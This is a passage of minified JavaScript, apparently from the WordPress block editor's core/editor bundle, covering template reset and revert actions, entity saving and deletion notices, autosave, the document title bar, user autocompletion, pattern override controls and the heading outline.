%s"),(0,Lo.decodeEntities)(s.title));i.push({name:"core/reset-template",label:e,icon:(0,fs.isRTL)()?fa:ba,callback:({close:e})=>{n(s),e()}})}return{isLoading:!o,commands:i}}}),g&&_?(0,L.jsx)(d.EntityProvider,{kind:"root",type:"site",children:(0,L.jsx)(d.EntityProvider,{kind:"postType",type:e.type,id:e.id,children:(0,L.jsx)(h.BlockContextProvider,{value:w,children:(0,L.jsxs)(i,{value:E,onChange:D,onInput:N,selection:p,settings:j,useSubRegistry:!1,children:[n,!t.isPreviewMode&&(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)($l,{}),(0,L.jsx)(Ul,{}),(0,L.jsx)(Al,{}),"template-locked"===_&&(0,L.jsx)(na,{}),"wp_navigation"===P&&(0,L.jsx)(ia,{}),(0,L.jsx)(Fl,{}),(0,L.jsx)(Il,{}),(0,L.jsx)(fl,{}),(0,L.jsx)(xl,{}),(0,L.jsx)(Ol,{}),(0,L.jsx)(dl,{}),(0,L.jsx)(ml,{})]})]})})})}):null}));function Kl(e){return(0,L.jsx)(Yl,{...e,BlockEditorProviderComponent:h.BlockEditorProvider,children:e.children})}const ql=Kl,{useGlobalStyle:Ql}=$(h.privateApis);function Xl({template:e,post:t}){const[s="white"]=Ql("color.background"),[o]=(0,d.useEntityBlockEditor)("postType",t.type,{id:t.id}),[n]=(0,d.useEntityBlockEditor)("postType",e?.type,{id:e?.id}),i=e&&n?n:o,r=!i?.length;return(0,L.jsxs)("div",{className:"editor-fields-content-preview",style:{backgroundColor:s},children:[r&&(0,L.jsx)("span",{className:"editor-fields-content-preview__empty",children:(0,fs.__)("Empty content")}),!r&&(0,L.jsx)(h.BlockPreview.Async,{children:(0,L.jsx)(h.BlockPreview,{blocks:i})})]})}const Jl={type:"media",id:"content-preview",label:(0,fs.__)("Content preview"),render:function({item:e}){const{settings:t,template:s}=(0,c.useSelect)((t=>{var s;const{canUser:o,getPostType:n,getTemplateId:i,getEntityRecord:r}=$(t(d.store)),a=o("read",{kind:"postType",name:"wp_template"}),l=t(Ac).getEditorSettings(),c=l.supportsTemplateMode,u=null!==(s=n(e.type)?.viewable)&&void 0!==s&&s,p=c&&u&&a?i(e.type,e.id):null;return{settings:l,template:p?r("postType","wp_template",p):void 0}}),[e.type,e.id]);return(0,L.jsx)(Kl,{post:e,settings:t,__unstableTemplate:s,children:(0,L.jsx)(Xl,{template:s,post:e})})},enableSorting:!1},ec=Jl;function tc(e,t,s){return{type:"REGISTER_ENTITY_ACTION",kind:e,name:t,config:s}}function sc(e,t,s){return{type:"UNREGISTER_ENTITY_ACTION",kind:e,name:t,actionId:s}}function oc(e,t,s){return{type:"REGISTER_ENTITY_FIELD",kind:e,name:t,config:s}}function nc(e,t,s){return{type:"UNREGISTER_ENTITY_FIELD",kind:e,name:t,fieldId:s}}function ic(e,t){return{type:"SET_IS_READY",kind:e,name:t}}const rc=e=>async({registry:t})=>{if($(t.select(Ac)).isEntityReady("postType",e))return;$(t.dispatch(Ac)).setIsReady("postType",e);const s=await t.resolveSelect(d.store).getPostType(e),o=await t.resolveSelect(d.store).canUser("create",{kind:"postType",name:e}),n=await t.resolveSelect(d.store).getCurrentTheme(),i=[s.viewable?Vo:void 0,s.supports?.revisions?zo:void 0,void 0,"wp_template_part"===s.slug&&o&&n?.is_block_theme?an:void 0,o&&"wp_block"===s.slug?hn:void 0,s.supports?.title?fn:void 0,s.supports?.["page-attributes"]?Fn:void 0,"wp_block"===s.slug?mi:void 0,gi,bi,wi,Ci,ji].filter(Boolean),r=[s.supports?.thumbnail&&n?.theme_supports?.["post-thumbnails"]&&Ii,s.supports?.author&&Li,$i,Yi,er,s.supports?.["page-attributes"]&&rr,s.supports?.comments&&ar,dr,ur,s.supports?.editor&&s.viewable&&ec].filter(Boolean);if(s.supports?.title){let t;t="page"===e?gr:"wp_template"===e?_r:"wp_block"===e?xr:vr,r.push(t)}t.batch((()=>{i.forEach((s=>{$(t.dispatch(Ac)).registerEntityAction("postType",e,s)})),r.forEach((s=>{$(t.dispatch(Ac)).registerEntityField("postType",e,s)}))})),(0,m.doAction)("core.registerPostTypeSchema",e)};function ac(e){return{type:"SET_CURRENT_TEMPLATE_ID",id:e}}const lc=e=>async({select:t,dispatch:s,registry:o})=>{const n=await o.dispatch(d.store).saveEntityRecord("postType","wp_template",e);return o.dispatch(d.store).editEntityRecord("postType",t.getCurrentPostType(),t.getCurrentPostId(),{template:n.slug}),o.dispatch(_s.store).createSuccessNotice((0,fs.__)("Custom template created. You're in template mode now."),{type:"snackbar",actions:[{label:(0,fs.__)("Go back"),onClick:()=>s.setRenderingMode(t.getEditorSettings().defaultRenderingMode)}]}),n},cc=e=>({registry:t})=>{var s;const o=(null!==(s=t.select(k.store).get("core","hiddenBlockTypes"))&&void 0!==s?s:[]).filter((t=>!(Array.isArray(e)?e:[e]).includes(t)));t.dispatch(k.store).set("core","hiddenBlockTypes",o)},dc=e=>({registry:t})=>{var s;const o=null!==(s=t.select(k.store).get("core","hiddenBlockTypes"))&&void 0!==s?s:[],n=new Set([...o,...Array.isArray(e)?e:[e]]);t.dispatch(k.store).set("core","hiddenBlockTypes",[...n])},uc=({onSave:e,dirtyEntityRecords:t=[],entitiesToSkip:s=[],close:o}={})=>({registry:n})=>{const i=[{kind:"postType",name:"wp_navigation"}],r="site-editor-save-success",a=n.select(d.store).getEntityRecord("root","__unstableBase")?.home;n.dispatch(_s.store).removeNotice(r);const l=t.filter((({kind:e,name:t,key:o,property:n})=>!s.some((s=>s.kind===e&&s.name===t&&s.key===o&&s.property===n))));o?.(l);const c=[],u=[];l.forEach((({kind:e,name:t,key:s,property:o})=>{"root"===e&&"site"===t?c.push(o):(i.some((s=>s.kind===e&&s.name===t))&&n.dispatch(d.store).editEntityRecord(e,t,s,{status:"publish"}),u.push(n.dispatch(d.store).saveEditedEntityRecord(e,t,s)))})),c.length&&u.push(n.dispatch(d.store).__experimentalSaveSpecifiedEntityEdits("root","site",void 0,c)),n.dispatch(h.store).__unstableMarkLastChangeAsPersistent(),Promise.all(u).then((t=>e?e(t):t)).then((e=>{e.some((e=>void 0===e))?n.dispatch(_s.store).createErrorNotice((0,fs.__)("Saving failed.")):n.dispatch(_s.store).createSuccessNotice((0,fs.__)("Site updated."),{type:"snackbar",id:r,actions:[{label:(0,fs.__)("View site"),url:a}]})})).catch((e=>n.dispatch(_s.store).createErrorNotice(`${(0,fs.__)("Saving failed.")} ${e}`)))},pc=(e,{allowUndo:t=!0}={})=>async({registry:s})=>{const o="edit-site-template-reverted";if(s.dispatch(_s.store).removeNotice(o),Oo(e))try{const n=s.select(d.store).getEntityConfig("postType",e.type);if(!n)return void s.dispatch(_s.store).createErrorNotice((0,fs.__)("The editor has encountered an unexpected error. Please reload."),{type:"snackbar"});const i=(0,v.addQueryArgs)(`${n.baseURL}/${e.id}`,{context:"edit",source:e.origin}),r=await gs()({path:i});if(!r)return void s.dispatch(_s.store).createErrorNotice((0,fs.__)("The editor has encountered an unexpected error. Please reload."),{type:"snackbar"});const a=({blocks:e=[]})=>(0,y.__unstableSerializeAndClean)(e),l=s.select(d.store).getEditedEntityRecord("postType",e.type,e.id);s.dispatch(d.store).editEntityRecord("postType",e.type,e.id,{content:a,blocks:l.blocks,source:"custom"},{undoIgnore:!0});const c=(0,y.parse)(r?.content?.raw);if(s.dispatch(d.store).editEntityRecord("postType",e.type,r.id,{content:a,blocks:c,source:"theme"}),t){const t=()=>{s.dispatch(d.store).editEntityRecord("postType",e.type,l.id,{content:a,blocks:l.blocks,source:"custom"})};s.dispatch(_s.store).createSuccessNotice((0,fs.__)("Template reset."),{type:"snackbar",id:o,actions:[{label:(0,fs.__)("Undo"),onClick:t}]})}}catch(e){const t=e.message&&"unknown_error"!==e.code?e.message:(0,fs.__)("Template revert failed. Please reload.");s.dispatch(_s.store).createErrorNotice(t,{type:"snackbar"})}else s.dispatch(_s.store).createErrorNotice((0,fs.__)("This template is not revertable."),{type:"snackbar"})},mc=e=>async({registry:t})=>{const s=e.every((e=>e?.has_theme_file)),o=await Promise.allSettled(e.map((e=>t.dispatch(d.store).deleteEntityRecord("postType",e.type,e.id,{force:!0},{throwOnError:!0}))));if(o.every((({status:e})=>"fulfilled"===e))){let o;if(1===e.length){let t;"string"==typeof e[0].title?t=e[0].title:"string"==typeof e[0].title?.rendered?t=e[0].title?.rendered:"string"==typeof e[0].title?.raw&&(t=e[0].title?.raw),o=s?(0,fs.sprintf)((0,fs.__)('"%s" reset.'),(0,Lo.decodeEntities)(t)):(0,fs.sprintf)((0,fs._x)('"%s" deleted.',"template part"),(0,Lo.decodeEntities)(t))}else o=s?(0,fs.__)("Items reset."):(0,fs.__)("Items deleted.");t.dispatch(_s.store).createSuccessNotice(o,{type:"snackbar",id:"editor-template-deleted-success"})}else{let e;if(1===o.length)e=o[0].reason?.message?o[0].reason.message:s?(0,fs.__)("An error occurred while reverting the item."):(0,fs.__)("An error occurred while deleting the item.");else{const t=new Set,n=o.filter((({status:e})=>"rejected"===e));for(const e of n)e.reason?.message&&t.add(e.reason.message);e=0===t.size?(0,fs.__)("An error occurred while deleting the items."):1===t.size?s?(0,fs.sprintf)((0,fs.__)("An error occurred while reverting the items: %s"),[...t][0]):(0,fs.sprintf)((0,fs.__)("An error occurred while deleting the items: %s"),[...t][0]):s?(0,fs.sprintf)((0,fs.__)("Some errors occurred while reverting the items: %s"),[...t].join(",")):(0,fs.sprintf)((0,fs.__)("Some errors occurred while deleting the items: %s"),[...t].join(","))}t.dispatch(_s.store).createErrorNotice(e,{type:"snackbar"})}},hc=e=>({select:t,registry:s})=>{var o;const n=t.getCurrentPostType(),i=s.select(d.store).getCurrentTheme()?.stylesheet,r=null!==(o=s.select(k.store).get("core","renderingModes")?.[i])&&void 0!==o?o:{};if(r[n]===e)return;const a={[i]:{...r,[n]:e}};s.dispatch(k.store).set("core","renderingModes",a)};var gc=s(5215),_c=s.n(gc);const fc=(0,L.jsx)(M.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,L.jsx)(M.Path,{d:"M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z"})}),bc=(0,L.jsx)(M.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,L.jsx)(M.Path,{d:"M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z"})}),yc=[];const xc={rootClientId:void 0,insertionIndex:void 0,filterValue:void 0},vc=["post-only","template-locked"],Sc=(0,c.createRegistrySelector)((e=>(0,c.createSelector)((t=>{if("object"==typeof t.blockInserterPanel)return t.blockInserterPanel;if("template-locked"===st(t)){const[t]=e(h.store).getBlocksByName("core/post-content");if(t)return{rootClientId:t,insertionIndex:void 0,filterValue:void 0}}return xc}),(t=>{const[s]=e(h.store).getBlocksByName("core/post-content");return[t.blockInserterPanel,st(t),s]}))));function wc(e){return e.listViewToggleRef}function kc(e){return e.inserterSidebarToggleRef}const Cc={wp_block:ga,wp_navigation:fc,page:_a,post:bc},Pc=(0,c.createRegistrySelector)((e=>(t,s,o)=>{{if("wp_template_part"===s||"wp_template"===s){const t=(e(d.store).getCurrentTheme()?.default_template_part_areas||[]).find((e=>o.area===e.area));return t?.icon?U(t.icon):W}if(Cc[s])return Cc[s];const t=e(d.store).getPostType(s);return"string"==typeof t?.icon&&t.icon.startsWith("dashicons-")?t.icon.slice(10):_a}})),jc=(0,c.createRegistrySelector)((e=>(t,s,o)=>{const{type:n,id:i}=oe(t),r=e(d.store).getEntityRecordNonTransientEdits("postType",s||n,o||i);if(!r?.meta)return!1;const a=e(d.store).getEntityRecord("postType",s||n,o||i)?.meta;return!_c()({...a,footnotes:void 0},{...r.meta,footnotes:void 0})}));function Ec(e,...t){return function(e,t,s){var o;return null!==(o=e.actions[t]?.[s])&&void 0!==o?o:yc}(e.dataviews,...t)}function Tc(e,...t){return function(e,t,s){return e.isReady[t]?.[s]}(e.dataviews,...t)}function Bc(e,...t){return function(e,t,s){var o;return null!==(o=e.fields[t]?.[s])&&void 0!==o?o:yc}(e.dataviews,...t)}const Ic=(0,c.createRegistrySelector)((e=>(0,c.createSelector)(((t,s)=>{s=Array.isArray(s)?s:[s];const{getBlocksByName:o,getBlockParents:n,getBlockName:i}=e(h.store);return o(s).filter((e=>n(e).every((e=>{const t=i(e);return"core/query"!==t&&!s.includes(t)}))))}),(()=>[e(h.store).getBlocks()])))),Nc=(0,c.createRegistrySelector)((e=>(t,s)=>{const{getPostType:o,getCurrentTheme:n,hasFinishedResolution:i}=e(d.store),r=n(),a=o(s);if(!i("getPostType",[s])||!i("getCurrentTheme"))return;const l=r?.stylesheet,c=e(k.store).get("core","renderingModes")?.[l]?.[s],u=Array.isArray(a?.supports?.editor)?a.supports.editor.find((e=>"default-mode"in e))?.["default-mode"]:void 0,p=c||u;return vc.includes(p)?p:"post-only"})),Dc={reducer:b,selectors:e,actions:t},Ac=(0,c.createReduxStore)("core/editor",{...Dc});(0,c.register)(Ac),$(Ac).registerPrivateActions(a),$(Ac).registerPrivateSelectors(l);function Rc(e){const t=e.avatar_urls&&e.avatar_urls[24]?(0,L.jsx)("img",{className:"editor-autocompleters__user-avatar",alt:"",src:e.avatar_urls[24]}):(0,L.jsx)("span",{className:"editor-autocompleters__no-avatar"});return(0,L.jsxs)(L.Fragment,{children:[t,(0,L.jsx)("span",{className:"editor-autocompleters__user-name",children:e.name}),(0,L.jsx)("span",{className:"editor-autocompleters__user-slug",children:e.slug})]})}(0,m.addFilter)("blocks.registerBlockType","core/editor/custom-sources-backwards-compatibility/shim-attribute-source",(function(e){var t;const s=Object.fromEntries(Object.entries(null!==(t=e.attributes)&&void 0!==t?t:{}).filter((([,{source:e}])=>"meta"===e)).map((([e,{meta:t}])=>[e,t])));return Object.entries(s).length&&(e.edit=(e=>(0,p.createHigherOrderComponent)((t=>({attributes:s,setAttributes:o,...n})=>{const i=(0,c.useSelect)((e=>e(Ac).getCurrentPostType()),[]),[r,a]=(0,d.useEntityProp)("postType",i,"meta"),l=(0,u.useMemo)((()=>({...s,...Object.fromEntries(Object.entries(e).map((([e,t])=>[e,r[t]])))})),[s,r]);return(0,L.jsx)(t,{attributes:l,setAttributes:t=>{const s=Object.fromEntries(Object.entries(null!=t?t:{}).filter((([t])=>t in e)).map((([t,s])=>[e[t],s])));Object.entries(s).length&&a(s),o(t)},...n})}),"withMetaAttributeSource"))(s)(e.edit)),e}));const Mc={name:"users",className:"editor-autocompleters__user",triggerPrefix:"@",useItems(e){const t=(0,c.useSelect)((t=>{const{getUsers:s}=t(d.store);return s({context:"view",search:encodeURIComponent(e)})}),[e]),s=(0,u.useMemo)((()=>t?t.map((e=>({key:`user-${e.slug}`,value:e,label:Rc(e)}))):[]),[t]);return[s]},getOptionCompletion:e=>`@${e.slug}`};(0,m.addFilter)("editor.Autocomplete.completers","editor/autocompleters/set-default-completers",(function(e=[]){return e.push({...Mc}),e})),(0,m.addFilter)("editor.MediaUpload","core/editor/components/media-upload",(()=>Ei.MediaUpload));const{PatternOverridesControls:Lc,ResetOverridesControl:Oc,PatternOverridesBlockControls:Fc,PATTERN_TYPES:Vc,PARTIAL_SYNCING_SUPPORTED_BLOCKS:zc,PATTERN_SYNC_TYPES:Uc}=$(ln.privateApis),Hc=(0,p.createHigherOrderComponent)((e=>t=>{const s=!!zc[t.name];return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(e,{...t},"edit"),t.isSelected&&s&&(0,L.jsx)(Gc,{...t}),s&&(0,L.jsx)(Fc,{})]})}),"withPatternOverrideControls");function Gc(e){const t=(0,h.useBlockEditingMode)(),{hasPatternOverridesSource:s,isEditingSyncedPattern:o}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getEditedPostAttribute:s}=e(Ac);return{hasPatternOverridesSource:!!(0,y.getBlockBindingsSource)("core/pattern-overrides"),isEditingSyncedPattern:t()===Vc.user&&s("meta")?.wp_pattern_sync_status!==Uc.unsynced&&s("wp_pattern_sync_status")!==Uc.unsynced}}),[]),n=e.attributes.metadata?.bindings,i=!!n&&Object.values(n).some((e=>"core/pattern-overrides"===e.source)),r=o&&"default"===t,a=!o&&!!e.attributes.metadata?.name&&"disabled"!==t&&i;return s?(0,L.jsxs)(L.Fragment,{children:[r&&(0,L.jsx)(Lc,{...e}),a&&(0,L.jsx)(Oc,{...e})]}):null}(0,m.addFilter)("editor.BlockEdit","core/editor/with-pattern-override-controls",Hc);class $c extends u.Component{constructor(e){super(e),this.needsAutosave=!(!e.isDirty||!e.isAutosaveable)}componentDidMount(){this.props.disableIntervalChecks||this.setAutosaveTimer()}componentDidUpdate(e){this.props.disableIntervalChecks?this.props.editsReference!==e.editsReference&&this.props.autosave():(this.props.interval!==e.interval&&(clearTimeout(this.timerId),this.setAutosaveTimer()),this.props.isDirty&&(!this.props.isAutosaving||e.isAutosaving)?this.props.editsReference!==e.editsReference&&(this.needsAutosave=!0):this.needsAutosave=!1)}componentWillUnmount(){clearTimeout(this.timerId)}setAutosaveTimer(e=1e3*this.props.interval){this.timerId=setTimeout((()=>{this.autosaveTimerHandler()}),e)}autosaveTimerHandler(){this.props.isAutosaveable?(this.needsAutosave&&(this.needsAutosave=!1,this.props.autosave()),this.setAutosaveTimer()):this.setAutosaveTimer(1e3)}render(){return null}}const Wc=(0,p.compose)([(0,c.withSelect)(((e,t)=>{const{getReferenceByDistinctEdits:s}=e(d.store),{isEditedPostDirty:o,isEditedPostAutosaveable:n,isAutosavingPost:i,getEditorSettings:r}=e(Ac),{interval:a=r().autosaveInterval}=t;return{editsReference:s(),isDirty:o(),isAutosaveable:n(),isAutosaving:i(),interval:a}})),(0,c.withDispatch)(((e,t)=>({autosave(){const{autosave:s=e(Ac).autosave}=t;s()}})))])($c),Zc=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z"})}),Yc=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z"})}),Kc=window.wp.dom;function qc(e){const{isFrontPage:t,isPostsPage:s}=(0,c.useSelect)((t=>{const{canUser:s,getEditedEntityRecord:o}=t(d.store),n=s("read",{kind:"root",name:"site"})?o("root","site"):void 0,i=parseInt(e,10);return{isFrontPage:n?.page_on_front===i,isPostsPage:n?.page_for_posts===i}}));return t?(0,fs.__)("Homepage"):!!s&&(0,fs.__)("Posts Page")}const Qc=(0,Uo.__unstableMotion)(Uo.Button);function Xc(e){const{postId:t,postType:s,postTypeLabel:o,documentTitle:n,isNotFound:i,templateTitle:r,onNavigateToPreviousEntityRecord:a,isTemplatePreview:l}=(0,c.useSelect)((e=>{var t;const{getCurrentPostType:s,getCurrentPostId:o,getEditorSettings:n,getRenderingMode:i}=e(Ac),{getEditedEntityRecord:r,getPostType:a,getCurrentTheme:l,isResolving:c}=e(d.store),u=s(),p=o(),m=r("postType",u,p),{default_template_types:h=[]}=null!==(t=l())&&void 0!==t?t:{},g=Y({templateTypes:h,template:m}),_=a(u)?.labels?.singular_name;return{postId:p,postType:u,postTypeLabel:_,documentTitle:m.title,isNotFound:!m&&!c("getEditedEntityRecord","postType",u,p),templateTitle:g.title,onNavigateToPreviousEntityRecord:n().onNavigateToPreviousEntityRecord,isTemplatePreview:"template-locked"===i()}}),[]),{open:m}=(0,c.useDispatch)(ya.store),g=(0,p.useReducedMotion)(),_=A.includes(s),f=!!a,b=_?r:n,y=e.title||b,x=e.icon,v=qc(t),S=(0,u.useRef)(!1);return(0,u.useEffect)((()=>{S.current=!0}),[]),(0,L.jsxs)("div",{className:Di("editor-document-bar",{"has-back-button":f}),children:[(0,L.jsx)(Uo.__unstableAnimatePresence,{children:f&&(0,L.jsx)(Qc,{className:"editor-document-bar__back",icon:(0,fs.isRTL)()?Zc:Yc,onClick:e=>{e.stopPropagation(),a()},size:"compact",initial:!!S.current&&{opacity:0,transform:"translateX(15%)"},animate:{opacity:1,transform:"translateX(0%)"},exit:{opacity:0,transform:"translateX(15%)"},transition:g?{duration:0}:void 0,children:(0,fs.__)("Back")})}),!_&&l&&(0,L.jsx)(h.BlockIcon,{icon:W,className:"editor-document-bar__icon-layout"}),i?(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)("Document not found")}):(0,L.jsxs)(Uo.Button,{className:"editor-document-bar__command",onClick:()=>m(),size:"compact",children:[(0,L.jsxs)(Uo.__unstableMotion.div,{className:"editor-document-bar__title",initial:!!S.current&&{opacity:0,transform:f?"translateX(15%)":"translateX(-15%)"},animate:{opacity:1,transform:"translateX(0%)"},transition:g?{duration:0}:void 0,children:[x&&(0,L.jsx)(h.BlockIcon,{icon:x}),(0,L.jsxs)(Uo.__experimentalText,{size:"body",as:"h1",children:[(0,L.jsx)("span",{className:"editor-document-bar__post-title",children:y?(0,Kc.__unstableStripHTML)(y):(0,fs.__)("No title")}),v&&(0,L.jsx)("span",{className:"editor-document-bar__post-type-label",children:`· ${v}`}),o&&!e.title&&!v&&(0,L.jsx)("span",{className:"editor-document-bar__post-type-label",children:`· ${(0,Lo.decodeEntities)(o)}`})]})]},f),(0,L.jsx)("span",{className:"editor-document-bar__shortcut",children:wl.displayShortcut.primary("k")})]})]})}const Jc=window.wp.richText,ed=({children:e,isValid:t,isDisabled:s,level:o,href:n,onSelect:i})=>(0,L.jsx)("li",{className:Di("document-outline__item",`is-${o.toLowerCase()}`,{"is-invalid":!t,"is-disabled":s}),children:(0,L.jsxs)("a",{href:n,className:"document-outline__button","aria-disabled":s,onClick:function(e){s?e.preventDefault():i()},children:[(0,L.jsx)("span",{className:"document-outline__emdash","aria-hidden":"true"}),(0,L.jsx)("strong",{className:"document-outline__level",children:o}),(0,L.jsx)("span",{className:"document-outline__item-content",children:e})]})}),td=(0,L.jsx)("em",{children:(0,fs.__)("(Empty heading)")}),sd=[(0,L.jsx)("br",{},"incorrect-break"),(0,L.jsx)("em",{children:(0,fs.__)("(Incorrect heading level)")},"incorrect-message")],od=[(0,L.jsx)("br",{},"incorrect-break-h1"),(0,L.jsx)("em",{children:(0,fs.__)("(Your theme may already use a H1 for the post title)")},"incorrect-message-h1")],nd=[(0,L.jsx)("br",{},"incorrect-break-multiple-h1"),(0,L.jsx)("em",{children:(0,fs.__)("(Multiple H1 headings are not recommended)")},"incorrect-message-multiple-h1")];function id(){return(0,L.jsxs)(Uo.SVG,{width:"138",height:"148",viewBox:"0 0 138 148",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,L.jsx)(Uo.Rect,{width:"138",height:"148",rx:"4",fill:"#F0F6FC"}),(0,L.jsx)(Uo.Line,{x1:"44",y1:"28",x2:"24",y2:"28",stroke:"#DDDDDD"}),(0,L.jsx)(Uo.Rect,{x:"48",y:"16",width:"27",height:"23",rx:"4",fill:"#DDDDDD"}),(0,L.jsx)(Uo.Path,{d:"M54.7585 32V23.2727H56.6037V26.8736H60.3494V23.2727H62.1903V32H60.3494V28.3949H56.6037V32H54.7585ZM67.4574 23.2727V32H65.6122V25.0241H65.5611L63.5625 26.277V24.6406L65.723 23.2727H67.4574Z",fill:"black"}),(0,L.jsx)(Uo.Line,{x1:"55",y1:"59",x2:"24",y2:"59",stroke:"#DDDDDD"}),(0,L.jsx)(Uo.Rect,{x:"59",y:"47",width:"29",height:"23",rx:"4",fill:"#DDDDDD"}),(0,L.jsx)(Uo.Path,{d:"M65.7585 63V54.2727H67.6037V57.8736H71.3494V54.2727H73.1903V63H71.3494V59.3949H67.6037V63H65.7585ZM74.6605 63V61.6705L77.767 58.794C78.0313 58.5384 78.2528 58.3082 78.4318 58.1037C78.6136 57.8991 78.7514 57.6989 78.8452 57.5028C78.9389 57.304 78.9858 57.0895 78.9858 56.8594C78.9858 56.6037 78.9276 56.3835 78.8111 56.1989C78.6946 56.0114 78.5355 55.8679 78.3338 55.7685C78.1321 55.6662 77.9034 55.6151 77.6477 55.6151C77.3807 55.6151 77.1477 55.669 76.9489 55.777C76.75 55.8849 76.5966 56.0398 76.4886 56.2415C76.3807 56.4432 76.3267 56.6832 76.3267 56.9616H74.5753C74.5753 56.3906 74.7045 55.8949 74.9631 55.4744C75.2216 55.054 75.5838 54.7287 76.0497 54.4986C76.5156 54.2685 77.0526 54.1534 77.6605 54.1534C78.2855 54.1534 78.8295 54.2642 79.2926 54.4858C79.7585 54.7045 80.1207 55.0085 80.3793 55.3977C80.6378 55.7869 80.767 56.233 80.767 56.7358C80.767 57.0653 80.7017 57.3906 80.571 57.7116C80.4432 58.0327 80.2145 58.3892 79.8849 58.7812C79.5554 59.1705 79.0909 59.6378 78.4915 60.1832L77.2173 61.4318V61.4915H80.8821V63H74.6605Z",fill:"black"}),(0,L.jsx)(Uo.Line,{x1:"80",y1:"90",x2:"24",y2:"90",stroke:"#DDDDDD"}),(0,L.jsx)(Uo.Rect,{x:"84",y:"78",width:"30",height:"23",rx:"4",fill:"#F0B849"}),(0,L.jsx)(Uo.Path,{d:"M90.7585 94V85.2727H92.6037V88.8736H96.3494V85.2727H98.1903V94H96.3494V90.3949H92.6037V94H90.7585ZM99.5284 92.4659V91.0128L103.172 85.2727H104.425V87.2841H103.683L101.386 90.919V90.9872H106.564V92.4659H99.5284ZM103.717 94V92.0227L103.751 91.3793V85.2727H105.482V94H103.717Z",fill:"black"}),(0,L.jsx)(Uo.Line,{x1:"66",y1:"121",x2:"24",y2:"121",stroke:"#DDDDDD"}),(0,L.jsx)(Uo.Rect,{x:"70",y:"109",width:"29",height:"23",rx:"4",fill:"#DDDDDD"}),(0,L.jsx)(Uo.Path,{d:"M76.7585 125V116.273H78.6037V119.874H82.3494V116.273H84.1903V125H82.3494V121.395H78.6037V125H76.7585ZM88.8864 125.119C88.25 125.119 87.6832 125.01 87.1861 124.791C86.6918 124.57 86.3011 124.266 86.0142 123.879C85.7301 123.49 85.5838 123.041 85.5753 122.533H87.4332C87.4446 122.746 87.5142 122.933 87.642 123.095C87.7727 123.254 87.946 123.378 88.1619 123.466C88.3778 123.554 88.6207 123.598 88.8906 123.598C89.1719 123.598 89.4205 123.548 89.6364 123.449C89.8523 123.349 90.0213 123.212 90.1435 123.036C90.2656 122.859 90.3267 122.656 90.3267 122.426C90.3267 122.193 90.2614 121.987 90.1307 121.808C90.0028 121.626 89.8182 121.484 89.5767 121.382C89.3381 121.28 89.054 121.229 88.7244 121.229H87.9105V119.874H88.7244C89.0028 119.874 89.2486 119.825 89.4616 119.729C89.6776 119.632 89.8452 119.499 89.9645 119.328C90.0838 119.155 90.1435 118.953 90.1435 118.723C90.1435 118.504 90.0909 118.312 89.9858 118.148C89.8835 117.98 89.7386 117.849 89.5511 117.756C89.3665 117.662 89.1506 117.615 88.9034 117.615C88.6534 117.615 88.4247 117.661 88.2173 117.751C88.0099 117.839 87.8438 117.966 87.7188 118.131C87.5938 118.295 87.527 118.489 87.5185 118.71H85.75C85.7585 118.207 85.902 117.764 86.1804 117.381C86.4588 116.997 86.8338 116.697 87.3054 116.482C87.7798 116.263 88.3153 116.153 88.9119 116.153C89.5142 116.153 90.0412 116.263 90.4929 116.482C90.9446 116.7 91.2955 116.996 91.5455 117.368C91.7983 117.737 91.9233 118.152 91.9205 118.612C91.9233 119.101 91.7713 119.509 91.4645 119.835C91.1605 120.162 90.7642 120.369 90.2756 120.457V120.526C90.9176 120.608 91.4063 120.831 91.7415 121.195C92.0795 121.555 92.2472 122.007 92.2443 122.55C92.2472 123.047 92.1037 123.489 91.8139 123.875C91.527 124.261 91.1307 124.565 90.625 124.787C90.1193 125.009 89.5398 125.119 88.8864 125.119Z",fill:"black"})]})}const rd=(e=[])=>e.filter((e=>"core/heading"===e.name)).map((e=>({...e,level:e.attributes.level,isEmpty:ad(e)}))),ad=e=>!e.attributes.content||0===e.attributes.content.trim().length;function ld({onSelect:e,hasOutlineItemsDisabled:t}){const{selectBlock:s}=(0,c.useDispatch)(h.store),{title:o,isTitleSupported:n}=(0,c.useSelect)((e=>{var t;const{getEditedPostAttribute:s}=e(Ac),{getPostType:o}=e(d.store),n=o(s("type"));return{title:s("title"),isTitleSupported:null!==(t=n?.supports?.title)&&void 0!==t&&t}})),i=(0,c.useSelect)((e=>{const{getClientIdsWithDescendants:t,getBlock:s}=e(h.store);return 